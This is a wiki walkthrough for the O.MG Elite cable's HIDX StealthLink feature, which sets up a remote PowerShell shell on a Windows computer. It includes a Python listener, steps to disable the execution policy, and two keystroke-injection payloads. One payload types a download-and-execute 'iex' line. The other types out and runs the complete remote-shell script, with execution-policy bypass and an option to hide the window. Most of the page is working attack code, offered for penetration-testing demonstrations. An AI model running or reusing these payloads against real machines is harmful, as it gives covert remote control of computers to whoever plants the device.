HIDX StealthLink Windows PowerShell Shell - O-MG/O.MG-Firmware GitHub Wiki
What you will need:
- A Linux "Catcher" server running Python3.
- A Windows "Target" host.
- A O.MG Elite Device running the the latest v3 Firmware.
- A Wireless Network accessible to both the O.MG Device and Linux "Catcher" server.
Please ensure that you have a Linux server with Python3 installed, and connected to your network.
This will serve as our "Catcher" server.
You will need to have a minimal understanding of Linux and the Terminal.
Please note the IP Address of your Linux server, as you will need this later in Step 3.
You can get this via the command: ip addr list
Verify that your Linux server has Python3 installed, via the command: python3 --version
If your Linux server does not yet have Python3 installed, you may be able to install it via the command: sudo apt install -y python3 python3-pip
(Note: If this does not work, please review how to install software on your choice of Linux distribution.)
Download the following script to your server, via the command: curl -O https://raw.githubusercontent.com/O-MG/O.MG-Firmware/stable/tools/HIDX/python/stealthlink-client-universal.py
You may now start the server, via the command: python3 stealthlink-client-universal.py 0.0.0.0 1234
You should now see the following message to show the server has started: [*]Server Listening on 0.0.0.0:1234
Later in Step 3, after the O.MG Device connects to your "Catcher" server, you should see a similar message to the following: [+]O.MG Device connected from: 192.168.1.151:9134
Please ensure that you have an O.MG Elite Device running the the latest v3 Firmware. If you are not sure, please update your O.MG Device via the WebFlasher.
Connect to the WebUI of the O.MG Elite device, and click on the About button in the header bar of the page.
First, you should configure your HIDX Settings.
Within the O.MG WebUI Header Bar, click on the Settings button, and then the USB button beneath.
Within the section: HIDX Settings:
- Enter the Linux "Catcher" server IP Address obtained in Step 2
- Enter the Server Port Number: 1234
- Click on the "HIDX AutoStart on Boot" button
- Click "Change Settings"

Second, you should configure your O.MG Device to connect via Station Mode to your Wireless Network.
- Within the Settings Menu, click on the NET button.
- Change the WiFi Mode to Station.
- Enter your Wireless Network's SSID and Password.
- Click "Change Settings"

Your O.MG Device will now reboot, and will attempt to join your Wireless Network. At this point, on the Linux "Catcher" server, you should see a message in your Terminal similar to this: [+]O.MG Device connected from: 192.168.1.151:9134
For this step, we will manually setup the Target Host to get a feel for how everything should work. Later, we will automate this process with a payload.
Please ensure that you have a Windows device with Administrator Privileges, and PowerShell installed.
Download the following script to your Downloads directory: https://raw.githubusercontent.com/O-MG/O.MG-Firmware/stable/tools/HIDX/powershell/win-hidshell.ps1
Now, open PowerShell as Administrator, via:
- Press Start button
- type "PowerShell"
- Right click on the icon
- select "Run as Administrator"
Note: You may need to accept a UAC Prompt at this point.
Within the PowerShell Terminal, type the following command: Set-ExecutionPolicy -ExecutionPolicy Unrestricted
You should now see the following message:
Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"):
Press Y
, and then ENTER
.
Within the PowerShell window, enter the following:
cd ~/Downloads
Import-Module .\win-hidshell.ps1
HIDXShell
Now, you should see the following within your PowerShell Terminal window:
[?]Adding Binding...
[?]Searching for O.MG Device...
[+]Identified O.MG Device: \\?\HID#VID_D3C0&PID_D34D&MI_02#8&24F28F63&0&0000#{4d1e55b2-f16f-11cf-88cb-001111000030}
[+]Ready to receive commands...
Now, your Windows device has initiated a Remote Shell via the O.MG Device over USB, and can be accessed by returning to the Linux "Catcher" server.
Go back to the Linux "Catcher" server, and the Python3 terminal window.
You should now see the following:
[+]O.MG Device connected from: 192.168.1.151:9134
HIDX StealthLink Universal Client (type '%quit' to exit)
>
You can now enter a command within this Terminal window, and it will execute on the Windows host, if the POC got executed successfully.
> ls
Directory: C:\Users\user\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 8/23/2023 2:41 PM 8033 win-hidshell.ps1
Now that you have the basics of HIDX Stealth Link working, lets replace all the manual setup on the Target Host by using a payload. This will be our "Stage 1 Payload" that starts the entire attack demonstration.
First, you will need to host the .ps1 file on a publicly accessible URL. Update the example payload below by defining the #URL constant.
REM HIDX_Stealth_Link_Remote_Access_PoC_IEX
REM Version 1.0
REM OS: Windows
REM Author: 0i41E
REM Requirements: Firmware Version 3.0 minimum, Universal Python Listener, Activated HIDX
REM HID based remote shell, executed via powershell.
REM Define the URL where you hosted your PoC
DEFINE #URL https://example.com/
REM Define Keymap below
DUCKY_LANG us
DELAY 2000
GUI r
DELAY 500
STRINGLN powershell -executionpolicy unrestricted
DELAY 1000
REM Calling HIDX poc via Invoke-Webrequest and execute it via Invoke-Expression
STRINGLN Invoke-WebRequest -UseBasicParsing -Uri "#URL" | iex;HIDXShell
Lets improve the Stage 1 Payload to execute on a Target that does not have internet access. This will achieve a fully air-gap capable payload. This will perform a simple cleanup at the beginning, write and save win-hidshell.ps1
to the %USERPROFILE%
directory and then calls the script via Powershell.
Disclaimer: This payload uses an outdated version of the POC and will be updated in the future. Functionality is still given.
REM HIDX_Stealth_Link_Remote_Access_PoC_Airgapped
REM Version 2.1
REM OS: Windows
REM Author: 0i41E
REM Requirements: Firmware Version 3.0 minimum, Universal Python Listener, Activated HIDX
REM HID based remote shell, saved into a file on disk and executed via Powershell.
REM Define Language Below
DUCKY_LANG us
REM Name of the saved PowerShell script
DEFINE #FILENAME win-hidshell.ps1
REM PowerShell WindowStyle - Normal,Minimized,Maximized or Hidden
DEFINE #WINDOWSTYLE Normal
REM USB Identifiers
DEFINE #Vendor_ID D3C0
DEFINE #Product_ID D34D
REM Description of the PoC
FUNCTION Description()
STRINGLN_BLOCK
<#
.DESCRIPTION
win-hidshell.ps1
Authors: Wasabi (@spiceywasabi), 01ph0r13(@01p8or13)
Acknowledgements: rogandawes
Required Dependencies: Activated HIDX on OMG Elite device
This is a POC.
This powershell script is a PoC for a bidirectional, shell-like connection between a host and an O.MG Elite device.
.PARAMETER VendorID
Defining vendor ID of the device. (Default: D3C0)
.PARAMETER ProductID
Defining product ID of the device. (Default: D34D)
.PARAMETER Verbose
Display more information about received and executed commands
.EXAMPLE
HIDXShell usage with defined device:
HIDXShell -VendorID D3C0 -ProductID D34D
.LINK
https://github.com/0i41E
https://github.com/spiceywasabi
https://github.com/rogandawes
#Credits to Rogan for idea of filehandle and device identification
#>
END_STRINGLN
END_FUNCTION
REM Delete old PoC file, and start notepad to write the new one
FUNCTION Clean_Start(#VAR1)
DELAY 1000
GUI r
DELAY 1000
STRINGLN powershell
DELAY 1000
STRINGLN Remove-Item $env:USERPROFILE\#VAR1
DELAY 250
STRINGLN notepad.exe;exit
DELAY 2000
END_FUNCTION
REM Save PoC on disk in Userprofile folder
FUNCTION Save_Payload(#VAR4)
DELAY 2000
CTRL w
DELAY 2000
ENTER
DELAY 2000
STRING %USERPROFILE%\#VAR4
DELAY 2000
ENTER
END_FUNCTION
REM Start a PowerShell with given WindowStyle and execute the PoC
FUNCTION HIDshell_Execution(#VAR5, #VAR6)
DELAY 1000
GUI r
DELAY 500
STRINGLN powershell -WindowStyle #VAR6 -ep bypass
DELAY 1000
STRINGLN Import-Module $env:USERPROFILE\#VAR5;HIDXShell
END_FUNCTION
REM Define the Device via VID/PID
FUNCTION Device_Definition(#VAR2, #VAR3)
STRINGLN_BLOCK
[cmdletbinding()]
param(
[Parameter(Position = 1)]
[ValidateNotNullOrEmpty()]
[String]
$VendorID = "#VAR2", #Default value:D3C0
[Parameter(Position = 2)]
[ValidateNotNullOrEmpty()]
[String]
$ProductID = "#VAR3" #Default value:D34D
)
#Defining OMG device
$OMG = $VendorID +"&PID_" + $ProductID
$tries = 0
$ErrorActionPreference="Stop"
END_STRINGLN
END_FUNCTION
REM Create Filehandle
FUNCTION Create_Filehandle()
STRINGLN_BLOCK
#Creating filehandle
function CreateBinding(){
try {
Add-Type -TypeDefinition @"
using System;
using System.IO;
using Microsoft.Win32.SafeHandles;
using System.Runtime.InteropServices;
namespace omg {
public class hidx {
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern SafeFileHandle CreateFile(String fn, UInt32 da, Int32 sm, IntPtr sa, Int32 cd, uint fa, IntPtr tf);
public static FileStream open(string fn) {
return new FileStream(CreateFile(fn, 0XC0000000U, 3, IntPtr.Zero, 3, 0x40000000, IntPtr.Zero), FileAccess.ReadWrite, 3, true);
}
}
}
"@
END_STRINGLN
END_FUNCTION
REM Get String for OMG device
FUNCTION Get_OMGDevice()
STRINGLN_BLOCK
function Get-OMGDevice(){
REM Identify OMG device
$devs = gwmi Win32_USBControllerDevice
write-host -ForegroundColor Yellow "[?]Searching for O.MG Device..."
$devicestring=$null
foreach ($dev in $devs) {
$wmidev = [wmi]$dev.Dependent
if ($wmidev.GetPropertyValue('DeviceID') -match ($OMG) -and ($null -eq $wmidev.GetPropertyValue('Service'))) {
$devicestring = ([char]92+[char]92+'?'+[char]92 + $wmidev.GetPropertyValue('DeviceID').ToString().Replace([char]92,[char]35) + [char]35+'{4d1e55b2-f16f-11cf-88cb-001111000030}')
}
}
return $devicestring
}
END_STRINGLN
END_FUNCTION
REM Loop, Error checking and Execution of received commands
FUNCTION Command_Handling()
STRINGLN_BLOCK
$loop=$true
CreateBinding
while ($loop) {
try {
REM Find O.MG device
$devicestring = Get-OMGDevice
REM Verify device - error checking
if($null -eq $devicestring){
$loop=$false
Write-Host -ForegroundColor red "[!]Error: No O.MG Device not found! Check VendorID/ProductID"
$loop=$false
break
}
REM Verify device - open device
Write-Host -ForegroundColor Green "[+]Identified O.MG Device: ${devicestring}"
$filehandle = [omg.hidx]::open($devicestring)
REM Verify filehandle
if($null -eq $filehandle){
$loop=$false
Write-Host -ForegroundColor red "[!]Error: Filehandle is empty"
break
}
$in = ""
Do {
Write-Host -ForegroundColor Green "[+]Ready to receive commands..."
echo $filehandle.Length
echo $filehandle.BytesToRead
$byte = [byte[]]::new(10)
#Read bytes from omg
$bytes = New-Object Byte[] (65)
$filehandle.Read($bytes, 0, 65) | Out-Null
#Split and display received command
foreach ($byte in $bytes) {
$input_raw = [System.Convert]::ToChar($byte)
if (($input_raw -ge 32 -and $input_raw -le 126) -or $input_raw -eq 10) {
$in = "${in}${input_raw}"
#If using verbose, display split commands
if ($VerbosePreference -eq 'Continue') {
Write-Host "Command Parts: ${byte} / $in"
}
#EICAR string & Amsi trigger
#X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
#AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386
}
}
} While (!$in.Contains("`n")) #Execute on new-line
Try {
if ($VerbosePreference -eq 'Continue') {
Write-Host -ForegroundColor Green "[+]Executed command: $in"
$in | Format-Hex
}
$output = Invoke-Expression $in|Out-String
} Catch {
$output = Echo "[!]Error: The command was not recognized as the name of a cmdlet, a function, a script file or an executable program."|Out-String #Error message send to receiver
Write-Host -ForegroundColor red "[!]Error: Unable to run received command" #Error message in console
}
REM Convert output to bytes
$outputBytes = [System.Text.Encoding]::ASCII.GetBytes($output + "> ") #Fake prompt
$outputLength = $outputBytes.Length
REM Send output bytes to omg
REM Kept at 8 for best experience
$outputChunkSize = 8
$outputChunkNr = [Math]::Ceiling($outputLength / $outputChunkSize)
if ($VerbosePreference -eq 'Continue') {
Write-Host -ForegroundColor green "[+]Output of $($outputLength) bytes ready to send in $($outputChunkNr) packets."
}
$messageSendTime = Get-Date
for ($i = 0; $i -lt $outputChunkNr; $i++) {
$outputBytesToSend = New-Object Byte[] (65)
$outputStart = $i * $outputChunkSize
$outputEnd = [Math]::Min(($i + 1) * $outputChunkSize, $outputLength)
$outputChunkLen = $outputEnd - $outputStart
[System.Buffer]::BlockCopy($outputBytes, $outputStart, $outputBytesToSend, 1, $outputChunkLen) # Copy the chunk to the packet
if ($VerbosePreference -eq 'Continue') {
$currentTime = Get-Date
$timeDifference = $currentTime - $messageSendTime
Write-Host -ForegroundColor yellow "[?]Message ready to send after $($timeDifference)..."
$messageSendTime=$currentTime
$outputBytesToSend | Format-Hex
}
$filehandle.Write($outputBytesToSend, 0, 65)
}
$filehandle.Close()
}
catch {
if ($VerbosePreference -eq 'Continue') {
Write-Host -ForegroundColor red "[!]Error occurred, ${tries} remain"
}
echo $Error
if($tries -le 0){
Write-Host -ForegroundColor red "[!]Fatal error, tries exhausted must stop"
$loop=$false
$filehandle.Close()
break
} else {
$tries = $tries - 1
}
}
}
}
END_STRINGLN
END_FUNCTION
Clean_Start(#FILENAME)
DELAY 1000
STRINGLN function HIDXShell {
Description()
Device_Definition(#Vendor_ID, #Product_ID)
Create_Filehandle()
REM Console Messages
STRINGLN_BLOCK
Write-Host -ForegroundColor Yellow "[?]Adding Binding..."
}
catch {
Write-Host -ForegroundColor red "[!]Error:Cannot load Binding..."
}
}
END_STRINGLN
Get_OMGDevice()
Command_Handling()
Save_Payload(#FILENAME)
HIDshell_Execution(#FILENAME, #WINDOWSTYLE)